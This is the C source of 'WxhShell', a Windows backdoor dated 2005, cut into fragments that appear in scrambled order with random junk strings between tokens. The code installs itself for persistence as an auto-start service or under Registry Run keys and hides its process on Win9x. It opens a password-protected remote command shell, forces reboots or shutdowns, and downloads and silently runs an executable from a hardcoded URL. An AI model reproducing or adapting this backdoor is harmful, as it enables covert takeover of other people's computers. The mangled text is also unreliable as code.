] g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +6+1N)L g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Kn1u1@&Xd NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZBU<L+# krlebPs[ if (!NtQueryInformationProcess) return 0; elKp?YN OUN~7]OD% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O['[_1n_u] if(!hProcess) return 0; oMM@{Jp suaP'0 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uj%]+Llxv KDP&I J CloseHandle(hProcess); Y*lc ~X "IJ1b~j? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )2d1@]6# if(hProcess==NULL) return 0; %2'4h(Oq^ nip*Y@- F HMODULE hMod; <ldArZ4C4 char procName[255]; \(^]R,~*!b unsigned long cbNeeded; VJ&-Z | oWDn_GnG`h if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `T%nGV l>\ =*-ac CloseHandle(hProcess); LoJEchRK r
da: ~ if(strstr(procName,"services")) return 1; // 以服务启动 .;bU["fn) ,Bx0 return 0; // 注册表启动 =b )!l9TX } 8&+u+@H
:*l\j"fX5 // 主模块 N7 _rVcDe int StartWxhshell(LPSTR lpCmdLine) &C9)%5O) { .
Z9c.E{ SOCKET wsl; ,5~C($-t BOOL val=TRUE; 9w0v?%%_ int port=0; "f3mi[ struct sockaddr_in door; BdvpG w9x5 IRW k if(wscfg.ws_autoins) Install(); E6Uj8]P` ?u{Mz9:?HT port=atoi(lpCmdLine); !qH)ttW ^{8CShUCv if(port<=0) port=wscfg.ws_port; 1v|0&{lB $Mx?Y9! WSADATA data; ]E.FBGT if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RSM+si/ m\=Cw&( if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; RWDPsZC setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H-m).^ door.sin_family = AF_INET; ^MhMYA door.sin_addr.s_addr = inet_addr("127.0.0.1"); B/~ubw door.sin_port = htons(port); Gh3f^PWnc %vG;'_gMB if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YD~(l-?" closesocket(wsl); &d!ASa return 1; >N~jlr | } :q2RgZE 5Ktll~+:# if(listen(wsl,2) == INVALID_SOCKET) { -
ikq#L){ closesocket(wsl); m+pK,D~{" return 1; WdJeh:h } ?WS.RB e2 Wxhshell(wsl); 3c` WSACleanup();
n:<Xp[;R ay{]Vqi9 return 0; *`bES V
: 6l"4F6 } @'J~(#} tg%Sn+: // 以NT服务方式启动 hn&NypI VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3Dh{#"88 { 1iM(13jW DWORD status = 0; d-8g DWORD specificError = 0xfffffff; S->S p 5VN~?#K serviceStatus.dwServiceType = SERVICE_WIN32; NfCo)C-t serviceStatus.dwCurrentState = SERVICE_START_PENDING; O]25{L serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I|/|\ serviceStatus.dwWin32ExitCode = 0; eNFA.*p< serviceStatus.dwServiceSpecificExitCode = 0; --`W1!jI@ serviceStatus.dwCheckPoint = 0; Sn;q:e3i{A serviceStatus.dwWaitHint = 0; nu16L$] P^BSl7cT hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KWw?W1H if (hServiceStatusHandle==0) return; z5f3T D6, ; ?,'jI*1 status = GetLastError(); rO,n~|YJ if (status!=NO_ERROR) 7B)@ aUj$ { X5Y. o& serviceStatus.dwCurrentState = SERVICE_STOPPED; b%j4W)Z serviceStatus.dwCheckPoint = 0; uy=<n5`oNG serviceStatus.dwWaitHint = 0; #D+.z)iZn serviceStatus.dwWin32ExitCode = status; ?/Aql_?3 serviceStatus.dwServiceSpecificExitCode = specificError; Dx P65wU SetServiceStatus(hServiceStatusHandle, &serviceStatus); $*9:a3>zny return; /hGu42YG } 1Zp^X:( `|[UF^9 serviceStatus.dwCurrentState = SERVICE_RUNNING; V4g vKWc serviceStatus.dwCheckPoint = 0; mO0#xY_z serviceStatus.dwWaitHint = 0; $A: ?o?"7} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $fW8S8 } g*%o%Lv .m%ygoO // 处理NT服务事件,比如:启动、停止 TfNm0=| VOID WINAPI NTServiceHandler(DWORD fdwControl) H"V)dEm { Aacj? switch(fdwControl) lI[O!VuKc { vrsOA@ee3H case SERVICE_CONTROL_STOP: pD6a+B\;k serviceStatus.dwWin32ExitCode = 0; '&y+,2?;Y[ serviceStatus.dwCurrentState = SERVICE_STOPPED; rAu@`H? serviceStatus.dwCheckPoint = 0; ,fs>+]UY3 serviceStatus.dwWaitHint = 0; \mwxV!!b$ {
!h*F58 SetServiceStatus(hServiceStatusHandle, &serviceStatus); wA%,_s/U } fd1z
XK#Z2 return; pA5X<)~
case SERVICE_CONTROL_PAUSE: jpfFJon)w serviceStatus.dwCurrentState = SERVICE_PAUSED; 8{-bG8L> 5 break; !R$t>X case SERVICE_CONTROL_CONTINUE: 3.04Toq! serviceStatus.dwCurrentState = SERVICE_RUNNING; [sG!|@r break; kx[h41|n case SERVICE_CONTROL_INTERROGATE: *3y:Wv T> break; $K~ t'wr }; ].
^e[v6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); u|&a!tOf2 } Ktf lbI! Ni61o?]Nj // 标准应用程序主函数 mk?F+gh int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EnjSio0 { </h}2x y/Q,[Uzk\ // 获取操作系统版本 +q~dS. OsIsNt=GetOsVer(); H:L<gv(rG GetModuleFileName(NULL,ExeFile,MAX_PATH); =q*j". < v6KF0mqA& // 从命令行安装 *5S~@ if(strpbrk(lpCmdLine,"iI")) Install(); #mc GT\tQ q6N6QI8/ // 下载执行文件 'Y-Y
By : if(wscfg.ws_downexe) { 2NqO,B|R if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pGSS
WinExec(wscfg.ws_filenam,SW_HIDE); Y[alOJ } ~@ hiLW }tH6E if(!OsIsNt) { GMoE,L // 如果时win9x,隐藏进程并且设置为注册表启动 g h&,U` HideProc(); :+}Eo9 StartWxhshell(lpCmdLine); Jg%jmI;Y } d}]jw4 else Qw/H7fvh& if(StartFromService()) Q2!vO4!<N // 以服务方式启动 >[gNQJ6 StartServiceCtrlDispatcher(DispatchTable); sJ)Pj?"\? else g
E;o_~ // 普通方式启动 Ba]^0Y
u StartWxhshell(lpCmdLine); [5Pin>]z R9lb<` return 0; Z\*jt B: } co%-d 6"Rw&3D? %C(^v)" si3@R?WR6* =========================================== =G%L:m* i6D66 E Q"sszz 4BAG GD2 S-KHot ? >-Q=o,cl%3 " $n@B:kv5p L)j<;{J/Q0 #include <stdio.h> MFm2p?zPm #include <string.h> !%%(o%bi~ #include <windows.h> K-drN)o #include <winsock2.h> +OC~y: #include <winsvc.h> q`^T7 #include <urlmon.h> q <Zza k'JfXrW<! #pragma comment (lib, "Ws2_32.lib") =-|,v* #pragma comment (lib, "urlmon.lib") O4fl$egQU %.VFj7J #define MAX_USER 100 // 最大客户端连接数 T:(c/> #define BUF_SOCK 200 // sock buffer
whvvc2 #define KEY_BUFF 255 // 输入 buffer I9;,qd%<T `E2HQA@ #define REBOOT 0 // 重启 $^j#z^7 #define SHUTDOWN 1 // 关机 /L? ia 2io~pk> #define DEF_PORT 5000 // 监听端口 OtFGo8 &i?>mt #define REG_LEN 16 // 注册表键长度 zsuXN * #define SVC_LEN 80 // NT服务名长度 Ub-q0[6 $z5 // 从dll定义API eJwHeG typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *3]_Huw< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vX/("[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8xN+LL'T{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]:r6 rGb<7b% // wxhshell配置信息 tDIQ= struct WSCFG { d/Y#oVI int ws_port; // 监听端口 }MXC0Z~si char ws_passstr[REG_LEN]; // 口令 A
2Rp int ws_autoins; // 安装标记, 1=yes 0=no X(*MHBd char ws_regname[REG_LEN]; // 注册表键名 wPrqFpf char ws_svcname[REG_LEN]; // 服务名 6@;
P char ws_svcdisp[SVC_LEN]; // 服务显示名 #:LI,t char ws_svcdesc[SVC_LEN]; // 服务描述信息
d|
OEZx char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %d"d<pvx int ws_downexe; // 下载执行标记, 1=yes 0=no DZE@C^0% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _?QVc0S! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A$ Ok^ =/SBZLR(9 }; N- :.z]j#_ S{#L7S // default Wxhshell configuration K]c\3[vR struct WSCFG wscfg={DEF_PORT, $Cx ?%X^b "xuhuanlingzhe", GjH$!P=. 1, Ny2. C?2 "Wxhshell", pW4$$2S?9 "Wxhshell", /U5!]7&gB "WxhShell Service", RJk4 2;] "Wrsky Windows CmdShell Service", nBJ'ak "Please Input Your Password: ", Uon^z?0A 1, ?0J&U4 "http://www.wrsky.com/wxhshell.exe", c$#7Kp4 "Wxhshell.exe" -#<AbT }; Cu&y',ee~ zVyMmw\ // 消息定义模块 -"~XI~a@Wo char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BMs?+ char *msg_ws_prompt="\n\r? for help\n\r#>"; w9]HJ3qi char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2U.'5uA"L char *msg_ws_ext="\n\rExit."; ;G|#i?JJ char *msg_ws_end="\n\rQuit."; yeqHeZ char *msg_ws_boot="\n\rReboot..."; !
n13B char *msg_ws_poff="\n\rShutdown..."; xka&,`z char *msg_ws_down="\n\rSave to "; H=v=)cUe[ $1}Y4>3 char *msg_ws_err="\n\rErr!"; 7X`]}z4g char *msg_ws_ok="\n\rOK!"; !THa?U; c%@<
h6 char ExeFile[MAX_PATH]; ]wm<$+@ int nUser = 0; ;nbV-<e HANDLE handles[MAX_USER]; (utk) int OsIsNt; g?E8zf ` F0x'^Z}Q; SERVICE_STATUS serviceStatus; 7*\CfqrU SERVICE_STATUS_HANDLE hServiceStatusHandle; n5>OZ3 E@ _2
oZhJ // 函数声明 s&7TARd int Install(void); DrA\-G_7 int Uninstall(void); ( we)0AxF' int DownloadFile(char *sURL, SOCKET wsh); ;fe~PPT int Boot(int flag); 0"J0JcFX void HideProc(void); t5RV-$ int GetOsVer(void); =M`Xu#eRk int Wxhshell(SOCKET wsl); qN\?cW' void TalkWithClient(void *cs); *w$3/ int CmdShell(SOCKET sock); ]@{l<ExP int StartFromService(void); 9oQ$w?=#$ int StartWxhshell(LPSTR lpCmdLine); _Nacqa Lq2ZgKd! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >0E3Em<(}l VOID WINAPI NTServiceHandler( DWORD fdwControl ); *%CDQx0} &t:~e" 5< // 数据结构和表定义 g1v=a SERVICE_TABLE_ENTRY DispatchTable[] = $|m'~AmI { F4DJML-( {wscfg.ws_svcname, NTServiceMain}, ]8f$&gw&A {NULL, NULL} Dgc}T8R }; q1pB~eg5 \c4D|7\= // 自我安装 7Fzj&!>ti int Install(void) sT'j36Nc<, { .H
9r_ char svExeFile[MAX_PATH]; o@sL/5, HKEY key; weC.kx strcpy(svExeFile,ExeFile); {H3B1*Dk 2@,rIve // 如果是win9x系统,修改注册表设为自启动 EslHml# if(!OsIsNt) { O-&^;]ieJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %f 5c,} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @Y !Jm RegCloseKey(key); ek1<9"y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7:e5l19 uI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y_nl9}&+C0 RegCloseKey(key); GB4^ 4Ajx return 0; B&m6N, } W:>XXUU } yT|44
D2j } N qS]dH61 else { 0K4A0s_R` TeRH@oI // 如果是NT以上系统,安装为系统服务 4Z.Dz@.c( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aGNbCm if (schSCManager!=0) *$Y_ %} { #'dNSez5 SC_HANDLE schService = CreateService '*D>/hn|:] ( |j=Pj)5J schSCManager, _B0C]u3D wscfg.ws_svcname, |7QSr!{_ wscfg.ws_svcdisp, 0BQ{ZT-Kh SERVICE_ALL_ACCESS, B`)TRt+'. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \aN7[>R.Q SERVICE_AUTO_START, *alifdp SERVICE_ERROR_NORMAL, {Z1KU8tp svExeFile, {q! :t0X.Y NULL, lvx[C7? NULL, zX]l$Q+ NULL, .d6b?t NULL, 7%Ou6P$^fr NULL ?x/Lb*a^ ); UCj{
& if (schService!=0) fp}5QUm- { QmMA]Q CloseServiceHandle(schService); yz"hU CloseServiceHandle(schSCManager); 5mX^{V&^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZCuo YE$g strcat(svExeFile,wscfg.ws_svcname); TE:|w
Xe if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kB.CeG]tk RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2!R+5^Iy RegCloseKey(key); 2~R%_r+< return 0; 5Q\ hd*+g } wjXv{EsMq } #v; :K8 CloseServiceHandle(schSCManager); !v8](UI8- } qu&p)*M5 } =b, m31 0g9y4z{H return 1; Xk!wT2; } >qBJK)LHOv -]t>'Q? // 自我卸载 9/_~YY=/h int Uninstall(void) :D4'x{#H { ]FgKL0 HKEY key; iBwM]Eyv. r
uIgo B if(!OsIsNt) { Xzl$Qc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ym.{
{^= RegDeleteValue(key,wscfg.ws_regname); {eVv%sbq RegCloseKey(key); `O5427Im if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -@ra~li,yQ RegDeleteValue(key,wscfg.ws_regname); ^7a@?|,q8 RegCloseKey(key); I^HwXp([ return 0; $z`l{F4eMf } "L!U7|9J } 'uF75C } :| !5d{8S8 else { Sp2DpGs~ 3 .K #, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B#?rW*yEe if (schSCManager!=0) 'S|7<<>4k { +,cd$,18 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ra2{8 x if (schService!=0) zI\+]U' { U9K'O !i> if(DeleteService(schService)!=0) { 4)8e0L*[B? CloseServiceHandle(schService); HYL['B?Wid CloseServiceHandle(schSCManager); 8/T,{J\ return 0; SSq4KFO1 } 4Y1dkg1y CloseServiceHandle(schService); ZtmaV27s/ } J~n|5*cz CloseServiceHandle(schSCManager); W23Q>x&S } Te`@{> } [jksOC)@4 9s*QHCB0 return 1; Q7-iy } !l]_c5 $N Mu // 从指定url下载文件 !K0 U.. int DownloadFile(char *sURL, SOCKET wsh) `<kB/T { @|5B}%! HRESULT hr; ioEjbqD< char seps[]= "/"; ?^2nrh,n+ char *token; q!W=U8` char *file; hC9EL=
A char myURL[MAX_PATH]; ?z2! ? char myFILE[MAX_PATH]; {3.n!7+ CRD=7\0(D+ strcpy(myURL,sURL); Ql%B=vgKL token=strtok(myURL,seps); UNK.39 while(token!=NULL) Nukyvse { V]GF53D file=token; ^tjw }sE token=strtok(NULL,seps); !
,{zDMA } S^;;\0#NK ~$C}?y^ a GetCurrentDirectory(MAX_PATH,myFILE); !Z
0U_*& strcat(myFILE, "\\"); k DXQpe strcat(myFILE, file); !XM<`H/ send(wsh,myFILE,strlen(myFILE),0); #oR`_Dm)P send(wsh,"...",3,0); \XYidj hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )2#&l if(hr==S_OK) "LJV}L return 0; SF9N S*mr else 9X,iQ return 1; H=\Tse_. ?@7!D8$9 } =@S
a\; _/'VD!(MV // 系统电源模块 T?QW$cU!e: int Boot(int flag) @56*r@4:q { 6yO5{._M HANDLE hToken; ~( 0bqt3c TOKEN_PRIVILEGES tkp; u{h67N '2hy% if(OsIsNt) { 2g~ @99` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); : p)R,('g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ij!], tkp.PrivilegeCount = 1; DA04llX~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5!cp^[rGL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Sc#3<nVg if(flag==REBOOT) { @}:E{J#g if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?qi~8.<w return 0; K~2sX>l } j*[P\Cm else { v+[S${ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !>D[Y return 0; c9o]w8p/ } UCK;?] } 8|<</v8i else { |Olz h63k: if(flag==REBOOT) { `/'p1?Z" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1G.?Y3DC< return 0; Z^z{,
u;! } 2~l7WW+lx, else { F_9
4k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k52IvB@2 return 0; MmfBFt* } +3o0GJ
} < \fA}b ?|/K(} return 1; dQZdL4 } 9<&M~(dwT4 JqZt1um // win9x进程隐藏模块 CLk,]kA'r void HideProc(void) \Vroz=IT: { X7AxI\h WcoA)we HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M_Q`9 if ( hKernel != NULL ) ZSW@,Ti { c"-X:m" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XzSl"U PYH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @eeI4Jz FreeLibrary(hKernel); U,Uy0s2r } od5nRb m;\nMdn return; jf`w8*R } =}kISh mXyN{`q= // 获取操作系统版本 U;4i&=.! int GetOsVer(void) "uT2 DY[ { Y0krFhL'x0 OSVERSIONINFO winfo; 9jY+0h*uP winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +])<}S!M GetVersionEx(&winfo); yYYP;N?g4k if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ib#rT{e return 1; }e/vKWfT else `4snTM!v& return 0; IN<nZ?D# } Xwdcy J! i&^JG/a // 客户端句柄模块 {Ji&rk}NP int Wxhshell(SOCKET wsl) )B"{B1( { 2uN3:_w SOCKET wsh; DbLo{mFEIj struct sockaddr_in client; bGL} nPo DWORD myID; J`)/\9'&& H"(#Tp ZTE while(nUser<MAX_USER) O8b#'f~ { sR>>l3H int nSize=sizeof(client); fS/:OnH wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M>Tg$^lm if(wsh==INVALID_SOCKET) return 1; }2LWDQ;po %&&)[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }4!}vkVx if(handles[nUser]==0) LKp;sV closesocket(wsh); 3<+ZA-2 else V 0Oqq0\ nUser++; 3@\/5I xn } @vyEN.K%mm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8 yi#] 5`Q dm[cl~[
Q return 0; b@8z+,_ } R:&y@/JY8[ ]xMZo){[| // 关闭 socket z9 Ch %A{ void CloseIt(SOCKET wsh) ^h2+"" { 3^%2, closesocket(wsh); ,7bhUE/VB nUser--; %L-qAI&V ExitThread(0); /CO=!*7fz
} L&)e}" hZ452W // 客户端请求句柄 K$,<<hl void TalkWithClient(void *cs) mz%l4w?' { }q]*aADe }A@:JR+|
SOCKET wsh=(SOCKET)cs; *cCx]C.~ char pwd[SVC_LEN]; j3;W-c`5 char cmd[KEY_BUFF]; &U?4e'N)T char chr[1]; b way+lh int i,j; @@U >A X_"Q~ while (nUser < MAX_USER) { zps=~| F"k`PF*b if(wscfg.ws_passstr) { bAH<h
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o*/;Zp== //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); au+Jz_$) //ZeroMemory(pwd,KEY_BUFF); A :KZyd"Z i=0; )Cj1VjAg
while(i<SVC_LEN) { M0xhcU_ G .<0^q, // 设置超时 LYL_Ah'= fd_set FdRead; M>m!\bb%. struct timeval TimeOut; [pEb`s FD_ZERO(&FdRead); ()Kaxcs?+ FD_SET(wsh,&FdRead); `r-Jy{!y4 TimeOut.tv_sec=8; vJGH8$%;, TimeOut.tv_usec=0;
anpKWa int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FCEmg0qdjD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "Y L^j~A t?-a JU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r'#!w3*Cy pwd=chr[0]; Qd YYWD
if(chr[0]==0xd || chr[0]==0xa) { u28$V]
pwd=0; \3^V-/SJf break; ],0I`!\ } dR.?Kv(,E i++; R/"-r^j } ;f[##=tm n.8870.BW // 如果是非法用户,关闭 socket ejyx[CF if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9q$^x/z! } I*Dj@f` z-kv{y*Hu
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s<# BxN send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h7fytO <a$!S while(1) { N}%AUm/L *j]Bo,AC ZeroMemory(cmd,KEY_BUFF); zn^7#$fC 7L&,Na // 自动支持客户端 telnet标准 0]*W0#{Zj j=0; [<U=)!Swg while(j<KEY_BUFF) { y
`FZ 0FI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q njK<}M9 cmd[j]=chr[0]; T^#d;A if(chr[0]==0xa || chr[0]==0xd) { 1aS:bFi` cmd[j]=0; nlhv break; WO9vOS> } OAs>F" j++; >Tl/3{V } "]G'^ 2;>uP#1] // 下载文件 =>c0NT if(strstr(cmd,"http://")) { GqsV6kH send(wsh,msg_ws_down,strlen(msg_ws_down),0); `3ha~+Goo! if(DownloadFile(cmd,wsh)) 5EQ)pH+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); aWRi`poZT else @0PWbs$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BNjMq } am3.Dt2\ else { Ih.)iTs~% C.#Ha-@uz switch(cmd[0]) { Hpz1Iy@ ZG1TRF " // 帮助 ^pu8\K;~ case '?': { w<THPFFF" send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P3W3+pwq break; Ig?9"{9p } Zy9IRZe4U // 安装 /*fx`0mY) case 'i': { G)NqIur*Z if(Install()) nM& |